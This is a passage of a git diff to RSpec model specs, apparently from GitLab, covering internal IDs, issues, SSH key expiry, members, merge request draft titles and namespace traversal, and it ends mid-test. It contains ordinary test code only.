+ .with(operation: :reset, usage: 'issues', in_transaction: 'false').and_call_original
+
+ subject
+ end
+ end
+
+ context 'when executed within transaction' do
+ let(:value) { 2 }
+
+ it 'increments counter with in_transaction: "true"' do
+ expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :reset, usage: 'issues', in_transaction: 'true').and_call_original
+
+ InternalId.transaction { subject }
+ end
+ end
end
describe '.track_greatest' do
@@ -183,6 +225,25 @@ RSpec.describe InternalId do
expect(subject).to eq(value)
end
end
+
+ context 'when executed outside of transaction' do
+ it 'increments counter with in_transaction: "false"' do
+ expect(ActiveRecord::Base.connection).to receive(:transaction_open?) { false }
+ expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :track_greatest, usage: 'issues', in_transaction: 'false').and_call_original
+
+ subject
+ end
+ end
+
+ context 'when executed within transaction' do
+ it 'increments counter with in_transaction: "true"' do
+ expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :track_greatest, usage: 'issues', in_transaction: 'true').and_call_original
+
+ InternalId.transaction { subject }
+ end
+ end
end
describe '#increment_and_save!' do
diff --git a/spec/models/issue/metrics_spec.rb b/spec/models/issue/metrics_spec.rb
index 1d3c09a48b7..18b0a46c928 100644
--- a/spec/models/issue/metrics_spec.rb
+++ b/spec/models/issue/metrics_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe Issue::Metrics do
context "milestones" do
it "records the first time an issue is associated with a milestone" do
time = Time.current
- travel_to(time) { subject.update(milestone: create(:milestone, project: project)) }
+ travel_to(time) { subject.update!(milestone: create(:milestone, project: project)) }
metrics = subject.metrics
expect(metrics).to be_present
@@ -47,9 +47,9 @@ RSpec.describe Issue::Metrics do
it "does not record the second time an issue is associated with a milestone" do
time = Time.current
- travel_to(time) { subject.update(milestone: create(:milestone, project: project)) }
- travel_to(time + 2.hours) { subject.update(milestone: nil) }
- travel_to(time + 6.hours) { subject.update(milestone: create(:milestone, project: project)) }
+ travel_to(time) { subject.update!(milestone: create(:milestone, project: project)) }
+ travel_to(time + 2.hours) { subject.update!(milestone: nil) }
+ travel_to(time + 6.hours) { subject.update!(milestone: create(:milestone, project: project)) }
metrics = subject.metrics
expect(metrics).to be_present
@@ -61,7 +61,7 @@ RSpec.describe Issue::Metrics do
it "records the first time an issue is associated with a list label" do
list_label = create(:list).label
time = Time.current
- travel_to(time) { subject.update(label_ids: [list_label.id]) }
+ travel_to(time) { subject.update!(label_ids: [list_label.id]) }
metrics = subject.metrics
expect(metrics).to be_present
@@ -71,9 +71,9 @@ RSpec.describe Issue::Metrics do
it "does not record the second time an issue is associated with a list label" do
time = Time.current
first_list_label = create(:list).label
- travel_to(time) { subject.update(label_ids: [first_list_label.id]) }
+ travel_to(time) { subject.update!(label_ids: [first_list_label.id]) }
second_list_label = create(:list).label
- travel_to(time + 5.hours) { subject.update(label_ids: [second_list_label.id]) }
+ travel_to(time + 5.hours) { subject.update!(label_ids: [second_list_label.id]) }
metrics = subject.metrics
expect(metrics).to be_present
diff --git a/spec/models/issue_spec.rb b/spec/models/issue_spec.rb
index a3e245f4def..23caf3647c3 100644
--- a/spec/models/issue_spec.rb
+++ b/spec/models/issue_spec.rb
@@ -85,18 +85,14 @@ RSpec.describe Issue do
describe 'callbacks' do
describe '#ensure_metrics' do
it 'creates metrics after saving' do
- issue = create(:issue, project: reusable_project)
-
- expect(issue.metrics).to be_persisted
+ expect(subject.metrics).to be_persisted
expect(Issue::Metrics.count).to eq(1)
end
it 'does not create duplicate metrics for an issue' do
- issue = create(:issue, project: reusable_project)
+ subject.close!
- issue.close!
-
- expect(issue.metrics).to be_persisted
+ expect(subject.metrics).to be_persisted
expect(Issue::Metrics.count).to eq(1)
end
@@ -105,6 +101,20 @@ RSpec.describe Issue do
create(:issue, project: reusable_project)
end
+
+ context 'when metrics record is missing' do
+ before do
+ subject.metrics.delete
+ subject.reload
+ subject.metrics # make sure metrics association is cached (currently nil)
+ end
+
+ it 'creates the metrics record' do
+ subject.update!(title: 'title')
+
+ expect(subject.metrics).to be_present
+ end
+ end
end
describe '#record_create_action' do
@@ -327,7 +337,7 @@ RSpec.describe Issue do
end
it 'returns true for a user that is the author of an issue' do
- issue.update(author: user)
+ issue.update!(author: user)
expect(issue.assignee_or_author?(user)).to be_truthy
end
@@ -665,7 +675,7 @@ RSpec.describe Issue do
expect(user2.assigned_open_issues_count).to eq(0)
issue.assignees = [user2]
- issue.save
+ issue.save!
expect(user1.assigned_open_issues_count).to eq(0)
expect(user2.assigned_open_issues_count).to eq(1)
@@ -897,7 +907,7 @@ RSpec.describe Issue do
let(:private_project) { build(:project, :private)}
before do
- issue.update(project: private_project) # move issue to private project
+ issue.update!(project: private_project) # move issue to private project
end
shared_examples 'issue visible if user has guest access' do
@@ -1034,7 +1044,7 @@ RSpec.describe Issue do
with_them do
it 'checks for spam on issues that can be seen anonymously' do
project = reusable_project
- project.update(visibility_level: visibility_level)
+ project.update!(visibility_level: visibility_level)
issue = create(:issue, project: project, confidential: confidential, description: 'original description')
issue.assign_attributes(new_attributes)
@@ -1048,7 +1058,7 @@ RSpec.describe Issue do
it 'refreshes the number of open issues of the project' do
project = subject.project
- expect { subject.destroy }
+ expect { subject.destroy! }
.to change { project.open_issues_count }.from(1).to(0)
end
end
@@ -1263,8 +1273,8 @@ RSpec.describe Issue do
let_it_be(:issue) { create(:issue) }
it 'returns a list of emails' do
- participant1 = issue.issue_email_participants.create(email: 'a@gitlab.com')
- participant2 = issue.issue_email_participants.create(email: 'b@gitlab.com')
+ participant1 = issue.issue_email_participants.create!(email: 'a@gitlab.com')
+ participant2 = issue.issue_email_participants.create!(email: 'b@gitlab.com')
expect(issue.email_participants_emails).to contain_exactly(participant1.email, participant2.email)
end
diff --git a/spec/models/key_spec.rb b/spec/models/key_spec.rb
index 3d33a39d353..0cb20efcb0a 100644
--- a/spec/models/key_spec.rb
+++ b/spec/models/key_spec.rb
@@ -75,6 +75,28 @@ RSpec.describe Key, :mailer do
.to eq([key_3, key_1, key_2])
end
end
+
+ context 'expiration scopes' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:expired_today_not_notified) { create(:key, expires_at: Time.current, user: user) }
+ let_it_be(:expired_today_already_notified) { create(:key, expires_at: Time.current, user: user, expiry_notification_delivered_at: Time.current) }
+ let_it_be(:expired_yesterday) { create(:key, expires_at: 1.day.ago, user: user) }
+ let_it_be(:expiring_soon_unotified) { create(:key, expires_at: 3.days.from_now, user: user) }
+ let_it_be(:expiring_soon_notified) { create(:key, expires_at: 4.days.from_now, user: user, before_expiry_notification_delivered_at: Time.current) }
+ let_it_be(:future_expiry) { create(:key, expires_at: 1.month.from_now, user: user) }
+
+ describe '.expired_today_and_not_notified' do
+ it 'returns keys that expire today' do
+ expect(described_class.expired_today_and_not_notified).to contain_exactly(expired_today_not_notified)
+ end
+ end
+
+ describe '.expiring_soon_and_not_notified' do
+ it 'returns keys that will expire soon' do
+ expect(described_class.expiring_soon_and_not_notified).to contain_exactly(expiring_soon_unotified)
+ end
+ end
+ end
end
context "validation of uniqueness (based on fingerprint uniqueness)" do
diff --git a/spec/models/label_spec.rb b/spec/models/label_spec.rb
index e1abfd9d8e5..14acaf11ca4 100644
--- a/spec/models/label_spec.rb
+++ b/spec/models/label_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Label do
+ let_it_be(:project) { create(:project) }
+
describe 'modules' do
it { is_expected.to include_module(Referable) }
it { is_expected.to include_module(Subscribable) }
@@ -44,6 +46,22 @@ RSpec.describe Label do
end
end
+ describe 'scopes' do
+ describe '.on_board' do
+ let(:board) { create(:board, project: project) }
+ let!(:list1) { create(:list, board: board, label: development) }
+ let!(:list2) { create(:list, board: board, label: testing) }
+
+ let!(:development) { create(:label, project: project, name: 'Development') }
+ let!(:testing) { create(:label, project: project, name: 'Testing') }
+ let!(:regression) { create(:label, project: project, name: 'Regression') }
+
+ it 'returns only the board labels' do
+ expect(described_class.on_board(board.id)).to match_array([development, testing])
+ end
+ end
+ end
+
describe '#color' do
it 'strips color' do
label = described_class.new(color: ' #abcdef ')
@@ -92,9 +110,7 @@ RSpec.describe Label do
end
describe 'priorization' do
- subject(:label) { create(:label) }
-
- let(:project) { label.project }
+ subject(:label) { create(:label, project: project) }
describe '#prioritize!' do
context 'when label is not prioritized' do
diff --git a/spec/models/list_spec.rb b/spec/models/list_spec.rb
index ad07ee1115b..67a76c305f6 100644
--- a/spec/models/list_spec.rb
+++ b/spec/models/list_spec.rb
@@ -17,17 +17,4 @@ RSpec.describe List do
it { is_expected.to validate_presence_of(:label) }
it { is_expected.to validate_presence_of(:list_type) }
end
-
- describe '.without_types' do
- it 'exclude lists of given types' do
- board = create(:list, list_type: :label).board
- # closed list is created by default
- backlog_list = create(:list, list_type: :backlog, board: board)
-
- exclude_type = [described_class.list_types[:label], described_class.list_types[:closed]]
-
- lists = described_class.without_types(exclude_type)
- expect(lists.where(board: board)).to match_array([backlog_list])
- end
- end
end
diff --git a/spec/models/member_spec.rb b/spec/models/member_spec.rb
index c41f466456f..5f3a67b52ba 100644
--- a/spec/models/member_spec.rb
+++ b/spec/models/member_spec.rb
@@ -413,6 +413,24 @@ RSpec.describe Member do
it { is_expected.not_to include @blocked_developer }
it { is_expected.not_to include @member_with_minimal_access }
end
+
+ describe '.distinct_on_user_with_max_access_level' do
+ let_it_be(:other_group) { create(:group) }
+ let_it_be(:member_with_lower_access_level) { create(:group_member, :developer, group: other_group, user: @owner_user) }
+
+ subject { described_class.default_scoped.distinct_on_user_with_max_access_level.to_a }
+
+ it { is_expected.not_to include member_with_lower_access_level }
+ it { is_expected.to include @owner }
+ it { is_expected.to include @maintainer }
+ it { is_expected.to include @invited_member }
+ it { is_expected.to include @accepted_invite_member }
+ it { is_expected.to include @requested_member }
+ it { is_expected.to include @accepted_request_member }
+ it { is_expected.to include @blocked_maintainer }
+ it { is_expected.to include @blocked_developer }
+ it { is_expected.to include @member_with_minimal_access }
+ end
end
describe "Delegate methods" do
@@ -420,6 +438,16 @@ RSpec.describe Member do
it { is_expected.to respond_to(:user_email) }
end
+ describe '.valid_email?' do
+ it 'is a valid email format' do
+ expect(described_class.valid_email?('foo')).to eq(false)
+ end
+
+ it 'is not a valid email format' do
+ expect(described_class.valid_email?('foo@example.com')).to eq(true)
+ end
+ end
+
describe '.add_user' do
%w[project group].each do |source_type|
context "when source is a #{source_type}" do
diff --git a/spec/models/members/group_member_spec.rb b/spec/models/members/group_member_spec.rb
index 3d3ed6fc54a..908bb9f91a3 100644
--- a/spec/models/members/group_member_spec.rb
+++ b/spec/models/members/group_member_spec.rb
@@ -66,6 +66,12 @@ RSpec.describe GroupMember do
it_behaves_like 'members notifications', :group
+ describe '#namespace_id' do
+ subject { build(:group_member, source_id: 1).namespace_id }
+
+ it { is_expected.to eq 1 }
+ end
+
describe '#real_source_type' do
subject { create(:group_member).real_source_type }
diff --git a/spec/models/members/last_group_owner_assigner_spec.rb b/spec/models/members/last_group_owner_assigner_spec.rb
new file mode 100644
index 00000000000..3c9a7a11555
--- /dev/null
+++ b/spec/models/members/last_group_owner_assigner_spec.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Members::LastGroupOwnerAssigner do
+ describe "#execute" do
+ let_it_be(:user, reload: true) { create(:user) }
+ let_it_be(:group) { create(:group) }
+
+ let(:group_member) { user.members.last }
+
+ subject(:assigner) { described_class.new(group, [group_member]) }
+
+ before do
+ group.add_owner(user)
+ end
+
+ it "avoids extra database queries utilizing memoization", :aggregate_failures do
+ control = ActiveRecord::QueryRecorder.new { assigner.execute }
+ count_queries = control.occurrences_by_line_method.first[1][:occurrences].find_all { |i| i.include?('SELECT COUNT') }
+
+ expect(control.count).to be <= 5
+ expect(count_queries.count).to eq(0)
+ end
+
+ context "when there are unblocked owners" do
+ context "with one unblocked owner" do
+ specify do
+ expect { assigner.execute }.to change(group_member, :last_owner)
+ .from(nil).to(true)
+ .and change(group_member, :last_blocked_owner)
+ .from(nil).to(false)
+ end
+ end
+
+ context "with multiple unblocked owners" do
+ let_it_be(:unblocked_owner_member) { create(:group_member, :owner, source: group) }
+
+ specify do
+ expect { assigner.execute }.to change(group_member, :last_owner)
+ .from(nil).to(false)
+ .and change(group_member, :last_blocked_owner)
+ .from(nil).to(false)
+ end
+
+ it "has many members passed" do
+ assigner = described_class.new(group, [unblocked_owner_member, group_member])
+
+ expect { assigner.execute }.to change(group_member, :last_owner)
+ .from(nil).to(false)
+ .and change(group_member, :last_blocked_owner)
+ .from(nil).to(false)
+ .and change(unblocked_owner_member, :last_owner)
+ .from(nil).to(false)
+ .and change(unblocked_owner_member, :last_blocked_owner)
+ .from(nil).to(false)
+ end
+ end
+ end
+
+ context "when there are blocked owners" do
+ before do
+ user.block!
+ end
+
+ context "with one blocked owner" do
+ specify do
+ expect { assigner.execute }.to change(group_member, :last_owner)
+ .from(nil).to(false)
+ .and change(group_member, :last_blocked_owner)
+ .from(nil).to(true)
+ end
+ end
+
+ context "with multiple unblocked owners" do
+ specify do
+ create_list(:group_member, 2, :owner, source: group)
+
+ expect { assigner.execute }.to change(group_member, :last_owner)
+ .from(nil).to(false)
+ .and change(group_member, :last_blocked_owner)
+ .from(nil).to(false)
+ end
+ end
+
+ context "with multiple blocked owners" do
+ specify do
+ create(:group_member, :owner, :blocked, source: group)
+
+ expect { assigner.execute }.to change(group_member, :last_owner)
+ .from(nil).to(false)
+ .and change(group_member, :last_blocked_owner)
+ .from(nil).to(false)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/members/project_member_spec.rb b/spec/models/members/project_member_spec.rb
index 388d04c8012..ce3e86f964d 100644
--- a/spec/models/members/project_member_spec.rb
+++ b/spec/models/members/project_member_spec.rb
@@ -13,6 +13,10 @@ RSpec.describe ProjectMember do
it { is_expected.to validate_inclusion_of(:access_level).in_array(Gitlab::Access.values) }
end
+ describe 'delegations' do
+ it { is_expected.to delegate_method(:namespace_id).to(:project) }
+ end
+
describe '.access_level_roles' do
it 'returns Gitlab::Access.options' do
expect(described_class.access_level_roles).to eq(Gitlab::Access.options)
diff --git a/spec/models/merge_request_spec.rb b/spec/models/merge_request_spec.rb
index 8c7289adbcc..4b46c98117f 100644
--- a/spec/models/merge_request_spec.rb
+++ b/spec/models/merge_request_spec.rb
@@ -186,39 +186,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
let(:multiline_commits) { subject.commits.select(&is_multiline) }
let(:singleline_commits) { subject.commits.reject(&is_multiline) }
- context 'when the total number of commits is safe' do
- it 'returns the oldest multiline commit message' do
- expect(subject.default_squash_commit_message).to eq(multiline_commits.last.message)
- end
- end
-
- context 'when the total number of commits is big' do
- let(:safe_number) { 20 }
-
- before do
- stub_const('MergeRequestDiff::COMMITS_SAFE_SIZE', safe_number)
- end
-
- it 'returns the oldest multiline commit message from safe number of commits' do
- expect(subject.default_squash_commit_message).to eq(
- "remove emtpy file.(beacase git ignore empty file)\nadd whitespace test file.\n"
- )
- end
- end
-
- it 'returns the merge request title if there are no multiline commits' do
- expect(subject).to receive(:commits).and_return(
- CommitCollection.new(project, singleline_commits)
- )
-
- expect(subject.default_squash_commit_message).to eq(subject.title)
- end
-
- it 'does not return commit messages from multiline merge commits' do
- collection = CommitCollection.new(project, multiline_commits).enrich!
-
- expect(collection.commits).to all( receive(:merge_commit?).and_return(true) )
- expect(subject).to receive(:commits).and_return(collection)
+ it 'returns the merge request title' do
expect(subject.default_squash_commit_message).to eq(subject.title)
end
end
@@ -420,6 +388,19 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
end
+ describe '.by_merge_or_squash_commit_sha' do
+ subject { described_class.by_merge_or_squash_commit_sha([sha1, sha2]) }
+
+ let(:sha1) { '123abc' }
+ let(:sha2) { '456abc' }
+ let(:mr1) { create(:merge_request, :merged, squash_commit_sha: sha1) }
+ let(:mr2) { create(:merge_request, :merged, merge_commit_sha: sha2) }
+
+ it 'returns merge requests that match the given squash and merge commits' do
+ is_expected.to include(mr1, mr2)
+ end
+ end
+
describe '.by_related_commit_sha' do
subject { described_class.by_related_commit_sha(sha) }
@@ -462,16 +443,6 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
end
- describe '.by_cherry_pick_sha' do
- it 'returns merge requests that match the given merge commit' do
- note = create(:track_mr_picking_note, commit_id: '456abc')
-
- create(:track_mr_picking_note, project: create(:project), commit_id: '456def')
-
- expect(described_class.by_cherry_pick_sha('456abc')).to eq([note.noteable])
- end
- end
-
describe '.in_projects' do
it 'returns the merge requests for a set of projects' do
expect(described_class.in_projects(Project.all)).to eq([subject])
@@ -1353,6 +1324,24 @@ RSpec.describe MergeRequest, factory_default: :keep do
expect(subject.work_in_progress?).to eq false
end
+ it 'does not detect Draft: in the middle of the title' do
+ subject.title = 'Something with Draft: in the middle'
+
+ expect(subject.work_in_progress?).to eq false
+ end
+
+ it 'does not detect WIP at the end of the title' do
+ subject.title = 'Something ends with WIP'
+
+ expect(subject.work_in_progress?).to eq false
+ end
+
+ it 'does not detect Draft at the end of the title' do
+ subject.title = 'Something ends with Draft'
+
+ expect(subject.work_in_progress?).to eq false
+ end
+
it "doesn't detect WIP for words starting with WIP" do
subject.title = "Wipwap #{subject.title}"
expect(subject.work_in_progress?).to eq false
@@ -1363,6 +1352,11 @@ RSpec.describe MergeRequest, factory_default: :keep do
expect(subject.work_in_progress?).to eq false
end
+ it "doesn't detect draft for words containing with draft" do
+ subject.title = "Drafting #{subject.title}"
+ expect(subject.work_in_progress?).to eq false
+ end
+
it "doesn't detect WIP by default" do
expect(subject.work_in_progress?).to eq false
end
@@ -1393,6 +1387,42 @@ RSpec.describe MergeRequest, factory_default: :keep do
expect(subject.work_in_progress?).to eq false
end
end
+
+ it 'removes only WIP prefix from the MR title' do
+ subject.title = 'WIP: Implement feature called WIP'
+
+ expect(subject.wipless_title).to eq 'Implement feature called WIP'
+ end
+
+ it 'removes only draft prefix from the MR title' do
+ subject.title = 'Draft: Implement feature called draft'
+
+ expect(subject.wipless_title).to eq 'Implement feature called draft'
+ end
+
+ it 'does not remove WIP in the middle of the title' do
+ subject.title = 'Something with WIP in the middle'
+
+ expect(subject.wipless_title).to eq subject.title
+ end
+
+ it 'does not remove Draft in the middle of the title' do
+ subject.title = 'Something with Draft in the middle'
+
+ expect(subject.wipless_title).to eq subject.title
+ end
+
+ it 'does not remove WIP at the end of the title' do
+ subject.title = 'Something ends with WIP'
+
+ expect(subject.wipless_title).to eq subject.title
+ end
+
+ it 'does not remove Draft at the end of the title' do
+ subject.title = 'Something ends with Draft'
+
+ expect(subject.wipless_title).to eq subject.title
+ end
end
describe "#wip_title" do
@@ -2023,14 +2053,6 @@ RSpec.describe MergeRequest, factory_default: :keep do
let(:merge_request) { create(:merge_request, :with_codequality_reports, source_project: project) }
it { is_expected.to be_truthy }
-
- context 'when feature flag is disabled' do
- before do
- stub_feature_flags(codequality_backend_comparison: false)
- end
-
- it { is_expected.to be_falsey }
- end
end
context 'when head pipeline does not have a codequality report' do
@@ -3857,17 +3879,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'when service class is Ci::CompareCodequalityReportsService' do
let(:service_class) { 'Ci::CompareCodequalityReportsService' }
- context 'when feature flag is enabled' do
- it { is_expected.to be_truthy }
- end
-
- context 'when feature flag is disabled' do
- before do
- stub_feature_flags(codequality_backend_comparison: false)
- end
-
- it { is_expected.to be_falsey }
- end
+ it { is_expected.to be_truthy }
end
context 'when service class is different' do
diff --git a/spec/models/namespace/admin_note_spec.rb b/spec/models/namespace/admin_note_spec.rb
new file mode 100644
index 00000000000..65ba1f61416
--- /dev/null
+++ b/spec/models/namespace/admin_note_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Namespace::AdminNote, type: :model do
+ let!(:namespace) { create(:namespace) }
+
+ describe 'associations' do
+ it { is_expected.to belong_to :namespace }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:namespace) }
+ it { is_expected.to validate_length_of(:note).is_at_most(1000) }
+ end
+end
diff --git a/spec/models/namespace/traversal_hierarchy_spec.rb b/spec/models/namespace/traversal_hierarchy_spec.rb
index 83e6d704640..b166d541171 100644
--- a/spec/models/namespace/traversal_hierarchy_spec.rb
+++ b/spec/models/namespace/traversal_hierarchy_spec.rb
@@ -43,21 +43,63 @@ RSpec.describe Namespace::TraversalHierarchy, type: :model do
end
end
+ shared_examples 'locked update query' do
+ it 'locks query with FOR UPDATE' do
+ qr = ActiveRecord::QueryRecorder.new do
+ subject
+ end
+ expect(qr.count).to eq 1
+ expect(qr.log.first).to match /FOR UPDATE/
+ end
+ end
+
describe '#incorrect_traversal_ids' do
- subject { described_class.new(root).incorrect_traversal_ids }
+ let!(:hierarchy) { described_class.new(root) }
+
+ subject { hierarchy.incorrect_traversal_ids }
+
+ before do
+ Namespace.update_all(traversal_ids: [])
+ end
it { is_expected.to match_array Namespace.all }
+
+ context 'when lock is true' do
+ subject { hierarchy.incorrect_traversal_ids(lock: true).load }
+
+ it_behaves_like 'locked update query'
+ end
end
describe '#sync_traversal_ids!' do
- let(:hierarchy) { described_class.new(root) }
+ let!(:hierarchy) { described_class.new(root) }
- before do
- hierarchy.sync_traversal_ids!
- root.reload
- end
+ subject { hierarchy.sync_traversal_ids! }
- it_behaves_like 'hierarchy with traversal_ids'
it { expect(hierarchy.incorrect_traversal_ids).to be_empty }
+
+ it_behaves_like 'hierarchy with traversal_ids'
+ it_behaves_like 'locked update query'
+
+ context 'when deadlocked' do
+ before do
+ connection_double = double(:connection)
+
+ allow(Namespace).to receive(:connection).and_return(connection_double)
+ allow(connection_double).to receive(:exec_query) { raise ActiveRecord::Deadlocked.new }
+ end
+
+ it { expect { subject }.to raise_error(ActiveRecord::Deadlocked) }
+
+ it 'increment db_deadlock counter' do
+ expect { subject rescue nil }.to change { db_deadlock_total('Namespace#sync_traversal_ids!') }.by(1)
+ end
+ end
+ end
+
+ def db_deadlock_total(source)
+ Gitlab::Metrics
+ .counter(:db_deadlock, 'Counts the times we have deadlocked in the database')
+ .get(source: source)
end
end
diff --git a/spec/models/namespace_setting_spec.rb b/spec/models/namespace_setting_spec.rb
index 59b7510051f..14d28be8d43 100644
--- a/spec/models/namespace_setting_spec.rb
+++ b/spec/models/namespace_setting_spec.rb
@@ -66,5 +66,36 @@ RSpec.describe NamespaceSetting, type: :model do
end
end
end
+
+ describe '#allow_resource_access_token_creation_for_group' do
+ let(:settings) { group.namespace_settings }
+
+ context 'group is top-level group' do
+ let(:group) { create(:group) }
+
+ it 'is valid' do
+ settings.resource_access_token_creation_allowed = false
+
+ expect(settings).to be_valid
+ end
+ end
+
+ context 'group is a subgroup' do
+ let(:group) { create(:group, parent: create(:group)) }
+
+ it 'is invalid when resource access token creation is not enabled' do
+ settings.resource_access_token_creation_allowed = false
+
+ expect(settings).to be_invalid
+ expect(group.namespace_settings.errors.messages[:resource_access_token_creation_allowed]).to include("is not allowed since the group is not top-level group.")
+ end
+
+ it 'is valid when resource access tokens are enabled' do
+ settings.resource_access_token_creation_allowed = true
+
+ expect(settings).to be_valid
+ end
+ end
+ end
end
end
diff --git a/spec/models/namespace_spec.rb b/spec/models/namespace_spec.rb
index 65d787d334b..96ecc9836d4 100644
--- a/spec/models/namespace_spec.rb
+++ b/spec/models/namespace_spec.rb
@@ -21,6 +21,7 @@ RSpec.describe Namespace do
it { is_expected.to have_many :custom_emoji }
it { is_expected.to have_one :package_setting_relation }
it { is_expected.to have_one :onboarding_progress }
+ it { is_expected.to have_one :admin_note }
end
describe 'validations' do
@@ -154,6 +155,33 @@ RSpec.describe Namespace do
end
end
+ describe 'scopes' do
+ let_it_be(:namespace1) { create(:group, name: 'Namespace 1', path: 'namespace-1') }
+ let_it_be(:namespace2) { create(:group, name: 'Namespace 2', path: 'namespace-2') }
+ let_it_be(:namespace1sub) { create(:group, name: 'Sub Namespace', path: 'sub-namespace', parent: namespace1) }
+ let_it_be(:namespace2sub) { create(:group, name: 'Sub Namespace', path: 'sub-namespace', parent: namespace2) }
+
+ describe '.by_parent' do
+ it 'includes correct namespaces' do
+ expect(described_class.by_parent(namespace1.id)).to eq([namespace1sub])
+ expect(described_class.by_parent(namespace2.id)).to eq([namespace2sub])
+ expect(described_class.by_parent(nil)).to match_array([namespace, namespace1, namespace2])
+ end
+ end
+
+ describe '.filter_by_path' do
+ it 'includes correct namespaces' do
+ expect(described_class.filter_by_path(namespace1.path)).to eq([namespace1])
+ expect(described_class.filter_by_path(namespace2.path)).to eq([namespace2])
+ expect(described_class.filter_by_path('sub-namespace')).to match_array([namespace1sub, namespace2sub])
+ end
+
+ it 'filters case-insensitive' do
+ expect(described_class.filter_by_path(namespace1.path.upcase)).to eq([namespace1])
+ end
+ end
+ end
+
describe 'delegate' do
it { is_expected.to delegate_method(:name).to(:owner).with_prefix.with_arguments(allow_nil: true) }
it { is_expected.to delegate_method(:avatar_url).to(:owner).with_arguments(allow_nil: true) }
@@ -168,27 +196,19 @@ RSpec.describe Namespace do
describe 'inclusions' do
it { is_expected.to include_module(Gitlab::VisibilityLevel) }
it { is_expected.to include_module(Namespaces::Traversal::Recursive) }
+ it { is_expected.to include_module(Namespaces::Traversal::Linear) }
end
- describe 'callbacks' do
- describe 'before_save :ensure_delayed_project_removal_assigned_to_namespace_settings' do
- it 'sets the matching value in namespace_settings' do
- expect { namespace.update!(delayed_project_removal: true) }.to change {
- namespace.namespace_settings.delayed_project_removal
- }.from(false).to(true)
- end
-
- context 'when the feature flag is disabled' do
- before do
- stub_feature_flags(migrate_delayed_project_removal: false)
- end
+ context 'traversal_ids on create' do
+ context 'default traversal_ids' do
+ let(:namespace) { build(:namespace) }
- it 'does not set the matching value in namespace_settings' do
- expect { namespace.update!(delayed_project_removal: true) }.not_to change {
- namespace.namespace_settings.delayed_project_removal
- }
- end
+ before do
+ namespace.save!
+ namespace.reload
end
+
+ it { expect(namespace.traversal_ids).to eq [namespace.id] }
end
end
@@ -859,7 +879,51 @@ RSpec.describe Namespace do
end
end
- it_behaves_like 'recursive namespace traversal'
+ describe '#use_traversal_ids?' do
+ let_it_be(:namespace) { build(:namespace) }
+
+ subject { namespace.use_traversal_ids? }
+
+ context 'when use_traversal_ids feature flag is true' do
+ before do
+ stub_feature_flags(use_traversal_ids: true)
+ end
+
+ it { is_expected.to eq true }
+ end
+
+ context 'when use_traversal_ids feature flag is false' do
+ before do
+ stub_feature_flags(use_traversal_ids: false)
+ end
+
+ it { is_expected.to eq false }
+ end
+ end
+
+ context 'when use_traversal_ids feature flag is true' do
+ it_behaves_like 'namespace traversal'
+
+ describe '#self_and_descendants' do
+ subject { namespace.self_and_descendants }
+
+ it { expect(subject.to_sql).to include 'traversal_ids @>' }
+ end
+ end
+
+ context 'when use_traversal_ids feature flag is false' do
+ before do
+ stub_feature_flags(use_traversal_ids: false)
+ end
+
+ it_behaves_like 'namespace traversal'
+
+ describe '#self_and_descendants' do
+ subject { namespace.self_and_descendants }
+
+ it { expect(subject.to_sql).not_to include 'traversal_ids @>' }
+ end
+ end
describe '#users_with_descendants' do
let(:user_a) { create(:user) }
@@ -897,24 +961,10 @@ RSpec.describe Namespace do
it { expect(namespace.all_projects.to_a).to match_array([project2, project1]) }
it { expect(child.all_projects.to_a).to match_array([project2]) }
- context 'when recursive_namespace_lookup_as_inner_join feature flag is on' do
- before do
- stub_feature_flags(recursive_namespace_lookup_as_inner_join: true)
- end
+ it 'queries for the namespace and its descendants' do
+ expect(Project).to receive(:where).with(namespace: [namespace, child])
- it 'queries for the namespace and its descendants' do
- expect(namespace.all_projects).to match_array([project1, project2])
- end
- end
-
- context 'when recursive_namespace_lookup_as_inner_join feature flag is off' do
- before do
- stub_feature_flags(recursive_namespace_lookup_as_inner_join: false)
- end
-
- it 'queries for the namespace and its descendants' do
- expect(namespace.all_projects).to match_array([project1, project2])
- end
+ namespace.all_projects
end
end
@@ -1085,21 +1135,42 @@ RSpec.describe Namespace do
end
describe '#root_ancestor' do
- let!(:root_group) { create(:group) }
+ context 'with persisted root group' do
+ let!(:root_group) { create(:group) }
- it 'returns root_ancestor for root group without a query' do
- expect { root_group.root_ancestor }.not_to exceed_query_limit(0)
+ it 'returns root_ancestor for root group without a query' do
+ expect { root_group.root_ancestor }.not_to exceed_query_limit(0)
+ end
+
+ it 'returns the top most ancestor' do
+ nested_group = create(:group, parent: root_group)
+ deep_nested_group = create(:group, parent: nested_group)
+ very_deep_nested_group = create(:group, parent: deep_nested_group)
+
+ expect(root_group.root_ancestor).to eq(root_group)
+ expect(nested_group.root_ancestor).to eq(root_group)
+ expect(deep_nested_group.root_ancestor).to eq(root_group)
+ expect(very_deep_nested_group.root_ancestor).to eq(root_group)
+ end
end
- it 'returns the top most ancestor' do
- nested_group = create(:group, parent: root_group)
- deep_nested_group = create(:group, parent: nested_group)
- very_deep_nested_group = create(:group, parent: deep_nested_group)
+ context 'with not persisted root group' do
+ let!(:root_group) { build(:group) }
- expect(root_group.root_ancestor).to eq(root_group)
- expect(nested_group.root_ancestor).to eq(root_group)
- expect(deep_nested_group.root_ancestor).to eq(root_group)
- expect(very_deep_nested_group.root_ancestor).to eq(root_group)
+ it 'returns root_ancestor for root group without a query' do
+ expect { root_group.root_ancestor }.not_to exceed_query_limit(0)
+ end
+
+ it 'returns the top most ancestor' do
+ nested_group = build(:group, parent: root_group)
+ deep_nested_group = build(:group, parent: nested_group)
+ very_deep_nested_group = build(:group, parent: deep_nested_group)
+
+ expect(root_group.root_ancestor).to eq(root_group)
